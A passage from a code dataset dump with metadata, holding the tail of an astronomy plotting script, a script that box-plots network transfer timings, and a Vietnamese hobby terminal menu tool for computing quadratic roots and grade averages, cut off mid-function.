print(np.mean(linerrs/recovered[l]),\n np.median(linerrs/recovered[l]))\n\n\n \"\"\"\n 3/4 of uncertainties are under-estimated.\n 1/2 are within 2 sigma.\n 66% are within 3 sigma.\n Largest outlier is 114 sigma off.\n \"\"\"\n\n dff = np.log(recovered[l]) - np.log(x[l])\n plt.clf()\n m = dff > 1\n m = dff < -.5\n plt.plot(np.log(x[l]), dff, \"k.\")\n print(N[m])\n plt.savefig(\"diff_gp\")\n\n print((np.median(np.abs(recovered[l] - x[l]))))\n\n\nif __name__ == \"__main__\":\n FIG_DIR = \"/Users/ruthangus/projects/GProtation/documents/figures\"\n print(\"ACF prior\")\n nbins = 95\n plot(True, nbins) # with ACF prior\n print(\"\\n\", \"No prior\")\n plot(False, nbins) # without ACF prior\n", "repo_name": "RuthAngus/GProtation", "sub_path": "code/make_gp_comparison_plot.py", "file_name": "make_gp_comparison_plot.py", "file_ext": "py", "file_size_in_byte": 6015, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 16, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pandas.read_hdf", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "numpy.percentile", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "numpy.percentile", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "numpy.percentile", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "numpy.std", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 167, "usage_type": "call"}]} +{"seq_id": "73282858845", "text": "# box plots of test scipts\n\n# Import libraries\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.lines import Line2D\n\n\n# run the bulk transfer shell script to collect the data, then generate the plots\n\n# open each file, compare md5sum and fill in list of times\ntcp_data_base = []\nwith open(\"../logs/bulk_base.txt\") as fp:\n md5compare = fp.readline()\n while True:\n md5download = fp.readline()\n if not md5download:\n break\n if md5compare != md5download:\n print(f\"compare mismatch, {md5compare} != {md5download}\")\n else:\n time = fp.readline()\n if not time:\n break\n tcp_data_base.append(int(time))\n\n\ntcp_data_base = [x/1000 for x in tcp_data_base]\nprint(tcp_data_base)\n\n\ntcp_data_tap = []\nwith open(\"../logs/bulk_tap.txt\") as fp:\n md5compare = fp.readline()\n while True:\n md5download = fp.readline()\n if not md5download:\n break\n if md5compare != md5download:\n print(f\"compare mismatch, {md5compare} != {md5download}\")\n else:\n time = fp.readline()\n if not time:\n break\n tcp_data_tap.append(int(time))\n\n\ntcp_data_tap = [x/1000 for x in tcp_data_tap]\nprint(tcp_data_tap)\n\n\ntcp_data_cust = []\nwith open(\"../logs/bulk_cust.txt\") as fp:\n md5compare = fp.readline()\n while True:\n md5download = fp.readline()\n if not md5download:\n break\n if md5compare != md5download:\n print(f\"compare mismatch, {md5compare} != {md5download}\")\n else:\n time = fp.readline()\n if not time:\n break\n tcp_data_cust.append(int(time))\n\n\ntcp_data_cust = [x/1000 for x in tcp_data_cust]\nprint(tcp_data_cust)\n\ntcp_data = [tcp_data_base, tcp_data_tap, tcp_data_cust]\n\n\nfig, ax = plt.subplots()\nbp = ax.boxplot(tcp_data, showmeans=True)\n\nmedians = [item.get_ydata()[0] for item in bp['medians']]\nmeans = [item.get_ydata()[0] for item in bp['means']]\nprint(f'Medians: {medians}\\n'\n f'Means: {means}')\n\n\nmaximum = 0\nminimum = 1000000\nfor x in tcp_data:\n temp = max(x)\n if temp > maximum:\n maximum = temp\n temp = min(x)\n if temp < minimum:\n minimum = temp\n\ntop = maximum+0.5\nbottom = minimum-0.5\n\nax.set_ylim(bottom, top)\nax.yaxis.grid(True, linestyle='-', which='major', color='lightgrey', alpha=0.5)\npos = np.arange(3) + 1\nmeanLabels = [str(np.round(s, 2)) for s in means]\n# upperLabels2 = [str(np.round(s, 2)) for s in medians]\n\n\nbaseline = float(meanLabels[0])\ntapOverhead = ((float(meanLabels[1]) - baseline)/baseline)\ncustOverhead = ((float(meanLabels[2]) - baseline)/baseline)\npercentLabels = [\"\", f'{tapOverhead:.2%}', f'{custOverhead:.2%}']\n\n\nweights = ['bold', 'semibold']\n\nfor tick, label in zip(range(3), ax.get_xticklabels()):\n k = tick % 2\n ax.text(pos[tick]+0.35, float(meanLabels[tick]), meanLabels[tick],\n horizontalalignment='center', weight=weights[k], color=\"green\")\n ax.text(pos[tick]+0.35, float(meanLabels[tick])-0.15, percentLabels[tick],\n horizontalalignment='center', weight=weights[k], color=\"red\")\n\nplt.xticks(fontsize=16)\nplt.xticks([1, 2, 3], [\"Baseline\", \"L4.5 Tap\", \"L4.5 Tap+Cust\"], rotation=0)\nplt.ylabel('Seconds', fontsize=16)\nplt.title(\"Bulk File Transfer Time\", fontsize=20)\n\n\ncustom_lines = [Line2D([0], [0], color=\"green\", lw=4),\n Line2D([0], [0], color=\"red\", lw=4)]\n\n\nax.legend(custom_lines, ['Mean', 'Overhead'], loc=\"upper left\", framealpha=0)\n\n\n# plt.show()\nplt.savefig('bulk_overhead.png', transparent=True)\n", "repo_name": "danluke2/software_defined_customization", "sub_path": "experiment_scripts/netsoft/bulk_plot.py", "file_name": "bulk_plot.py", "file_ext": "py", "file_size_in_byte": 3616, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matplotlib.pyplot.subplots", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}]} +{"seq_id": "7803982876", "text": "import os, math, time, sys, random,datetime\nd = '\\x1b[1;91m'\nxl = '\\x1b[1;92m'\nv = '\\x1b[1;93m'\nxb = '\\x1b[1;96m'\nt = '\\x1b[1;97m'\nh = '\\x1b[1;95m'\ndef write(z):\n\tfor e in z + '\\n':\n\t\tsys.stdout.write(e)\n\t\tsys.stdout.flush()\n\t\ttime.sleep(0.02)\ndef load():\n\tkha = ['. ','.. ','... ']\n\tfor o in kha:\n\t\tprint(\"\\r\\033[1;97m[\\033[1;96m*\\033[1;97m] \\033[1;92mLoading \\033[1;97m\"+o),;sys.stdout.flush();time.sleep(1)\ndef key():\n key = input('[!]Nhập key của bạn: ')\n if key == '':\n print(\"[!]Sai key\")\n os.system('clear')\n elif key == 'niemphong':\n print(\"key đúng\")\n else:\n print(\"Key sai\")\n os.system.exit()\ndef key1():\n key = input('[!]Nhập key của bạn: ')\n if key == '':\n print(\"[!]Sai key\")\n os.system('clear')\n elif key == 'axeyed kha' or key == 'Axeyed kha':\n print(\"key đúng\")\n else:\n print(\"Key sai\")\n os.system.exit()\nmoney = 30000\nf = \"\\033[1;97m------------------------------------------------------------\"\nbanner = \"\"\"\n\\033[1;96m██████╗ [•] Copyright Axeyed Kha (có của Dũng nữa :))\n\\033[1;92m██╔══██╗ [•] Tool tính đủ thứ trên đời :v\n\\033[1;95m██║ ██║ [•] Facebook: Dũng Dũng\n\\033[1;92m██║ ██║ [•] Phiên bản v1.0\n\\033[1;96m██████╔╝ [•] Zalo: 0936485851\n\\033[1;97m╚═════╝ [•] Chúc các bạn dùng tool vui vẻ\n\"\"\"\nbanhang = \"\"\"\n\n ____________________________________________\n|############################################|\n|#| |##############|\n|#| ===== ..--''` |~~``| |##|````````|##|\n|#| | | \\ | : | |##| Exact |##|\n|#| |___| /___ | | ___| |##| Change |##|\n|#| /=__\\ ./.__\\ |/,__\\ |##| Only |##|\n|#| \\__// \\__// \\__// |##|________|##|\n|#|===========================|##############|\n|#|```````````````````````````|##############|\n|#| =.._ +++ ////// |##############|\n|#| \\/ \\ | | \\ \\ |#|`````````|##|\n|#| \\___\\ |_| /___ / |#| _______ |##|\n|#| / __\\\\ /|_|\\ // __\\ |#| |1|2|3| |##|\n|#| \\__//- \\|_// -\\__// |#| |4|5|6| |##|\n|#|===========================|#| |7|8|9| |##|\n|#|```````````````````````````|#| ``````` |##|\n|#| ..-- ______ .--._. |#|[=======]|##|\n|#| \\ \\ | | | | |#| _ _ |##|\n|#| \\___\\ : ___: | ___| |#| ||| ( ) |##|\n|#| / __\\ |/ __\\ // __\\ |#| ||| ` |##|\n|#| \\__// \\__// /_\\__// |#| ~ |##|\n|#|===========================|#|_________|##|\n|#|```````````````````````````|##############|\n|############################################|\n|#|||||||||||||||||||||||||||||####```````###|\n|#||||||||||||PUSH|||||||||||||####\\|||||/###|\n|############################################|\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////\n |________________________________|CR98|___|\n\"\"\"\ndef main():\n os.system('clear')\n write(banner)\n write(xl+'Chào mừng bạn đến với hệ thống tính điểm trung bình.')\n write(f)\n load()\n menu()\ndef yn():\n write(f)\n cnbn = input('Bạn có muốn quay về lại menu không? [y/n] :')\n if cnbn == 'y' or cnbn == 'Y':\n menu()\n elif cnbn == 'n' or cnbn == 'N':\n print('\\033[1;96m Cám ơn bạn đã sử dụng công cụ của tôi')\n os.sys.exit()\n else:\n print(d+'[!] Nhập sai')\n os.sys.exit()\ndef menu():\n os.system('clear')\n write(banner)\n write(f)\n write(t+'['+xl+'1'+t+'] Tính phương trình bậc 2')\n write(t+'['+xl+'2'+t+'] Tính điểm trung bình 2 môn')\n write(t+'['+xl+'3'+t+'] Tính điểm trung bình 3 môn')\n write(t+'['+xl+'4'+t+'] Tính điểm trung bình 4 môn')\n write(t+'['+xl+'5'+t+'] Tính điểm trung bình 5 môn')\n write(t+'['+xl+'6'+t+'] Tính điểm trung bình 6 môn')\n write(t+'['+xl+'7'+t+'] Tính điểm trung bình 7 môn')\n write(t+'['+xl+'8'+t+'] Tính điểm trung bình 8 môn')\n write(t+'['+xl+'9'+t+'] Tính điểm trung bình 9 môn')\n write(t+'['+xl+'10'+t+'] Tính điểm trung bình 10 môn')\n write(t+'['+xl+'11'+t+'] Tính điểm trung bình 11 môn')\n write(t+'['+xl+'12'+t+'] Tính điểm trung bình 12 môn')\n write(t+'['+xl+'13'+t+'] Tính điểm trung bình 13 môn')\n write(t+'['+xl+'14'+t+'] Random đáp án trắc nghiệm')\n write(t+'['+xl+'15'+t+'] Tính xác suất(premium :)))')\n write(t+'['+xl+'16'+t+'] tính điểm trắc nghiệm 30 câu(update) ')\n print(f) \n write(t+'['+xl+'20'+t+'] Game oẳn tù tì(búa bao kéo)')\n write(t+'['+xl+'21'+t+'] Game tập tầm vông(đại loại vậy :) vì chưa biết vùng khác tên là gì ')\n print(f)\n write(t+'['+xl+'30'+t+'] Góc tool xịn xò(Đang update) ')\n print(f) \n write(t+'['+h+'khu shopping'+t+']') \n write(t+'['+xl+'31'+t+'] sờ nách :))')\n write(t+'['+xl+'32'+t+'] Nước') \n write(t+'['+xl+'33'+t+'] Bánh') \n print(f) \n write(t+'['+xl+'40'+t+'] Góc cho người hệ tâm linh :))) (Niêm phong vì không còn thiêng như nếu muốn thử thì ib Dũng để đc thử) ')\n print(f) \n q = input(t+'[?] Nhập lựa chọn của bạn: '+xl)\n if q == '1' or q == '01':\n k1()\n elif q == '2' or q == '02':\n k2()\n elif q == '3' or q == '03':\n k3()\n elif q == '4' or q == '04':\n k4()\n elif q == '5' or q == '05':\n k5()\n elif q == '6' or q == '06':\n k6()\n elif q == '7' or q == '07':\n k7()\n elif q == '8' or q == '08':\n k8() \n elif q == '9' or q == '09':\n k9()\n elif q == '10' or q == '10':\n k10()\n elif q == '11' or q == '11':\n k11()\n elif q == '12' or q == '12':\n k12()\n elif q == '13' or q == '13':\n k13()\n elif q == '14' or q == '14':\n k14()\n elif q == '15' or q == '15':\n k15()\n elif q == '16' or q == '16':\n k16()\n elif q == '20' or q == '20':\n k20()\n elif q == '21' or q == '21':\n k21()\n elif q == '30' or q == '30':\n k30()\n elif q == '31' or q == '31':\n k31()\n elif q == '32' or q == '32':\n k31()\n elif q == '33' or q == '33':\n k31()\n elif q == '40' or q == '40':\n k40()\n else:\n print(d+'[!] Nhập Sai')\n os.sys.exit()\ndef k1():\n print(\"\\033[1;97mGiải phương trình bậc 2\\n\")\n print(\"phương trình bậc 2 có dạng L: aX^2 + bx +c = 0\\n\")\n print(\"mời bạn nhập \\n\")\n time.sleep(1)\n a = float(input(\"a = \"))\n b = float(input(\"b = \"))\n c = float(input(\"c = \"))\n if(a==0):\n a = float(input(\"bạn đã nhập sai , nhập lại ! .a = \"))\n dental = b*b - 4*a*c\n if(dental < 0 ):\n print(\"phương trình vô nghiệm\\n\")\n elif(dental > 0):\n x1 = (-b + math.sqrt(dental))/(2*a)\n x2 = (-b - math.sqrt(dental))/(2*a)\n print(\"phương trình có 2 nghiệm x1 =\"+ str(x1) + \" và \"+\" x2 = \" +str(x2))\n else:\n x = -b/(2*a)\n print(\"phương trình có 2 nghiệm x1 = x2 = \" + str(x))\n yn()\ndef k2():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n write(f)\n re = (k+kk)/2\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k3():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n re = (k+kk+kkk)/3\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k4():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n re = (k+kk+kkk+kkkk)/4\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k5():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n kkkkk = float(input('Nhập điểm môn thứ 5 :'))\n write(f)\n re = (k+kk+kkk+kkkk+kkkkk)/5\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k6():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n kkkkk = float(input('Nhập điểm môn thứ 5 :'))\n write(f)\n kkkkkk = float(input('Nhập điểm môn thứ 6 :'))\n write(f)\n re = (k+kk+kkk+kkkk+kkkkk+kkkkkk)/6\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k7():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n kkkkk = float(input('Nhập điểm môn thứ 5 :'))\n write(f)\n kkkkkk = float(input('Nhập điểm môn thứ 6 :'))\n write(f)\n kkkkkkk = float(input('Nhập điểm môn thứ 7 :'))\n write(f)\n re = (k+kk+kkk+kkkk+kkkkk+kkkkkk+kkkkkkk)/7\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k8():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n kkkkk = float(input('Nhập điểm môn thứ 5 :'))\n write(f)\n kkkkkk = float(input('Nhập điểm môn thứ 6 :'))\n write(f)\n kkkkkkk = float(input('Nhập điểm môn thứ 7 :'))\n write(f)\n kkkkkkkk = float(input('Nhập điểm môn thứ 8 :'))\n write(f)\n re = (k+kk+kkk+kkkk+kkkkk+kkkkkk+kkkkkkk+kkkkkkkk)/8\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k9():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n kkkkk = float(input('Nhập điểm môn thứ 5 :'))\n write(f)\n kkkkkk = float(input('Nhập điểm môn thứ 6 :'))\n write(f)\n kkkkkkk = float(input('Nhập điểm môn thứ 7 :'))\n write(f)\n kkkkkkkk = float(input('Nhập điểm môn thứ 8 :'))\n write(f)\n kkkkkkkkk = float(input('Nhập điểm môn thứ 9 :'))\n write(f)\n re = (k+kk+kkk+kkkk+kkkkk+kkkkkk+kkkkkkk+kkkkkkkk+kkkkkkkkk)/9\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k10():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n kkkkk = float(input('Nhập điểm môn thứ 5 :'))\n write(f)\n kkkkkk = float(input('Nhập điểm môn thứ 6 :'))\n write(f)\n kkkkkkk = float(input('Nhập điểm môn thứ 7 :'))\n write(f)\n kkkkkkkk = float(input('Nhập điểm môn thứ 8 :'))\n write(f)\n kkkkkkkkk = float(input('Nhập điểm môn thứ 9 :'))\n write(f)\n 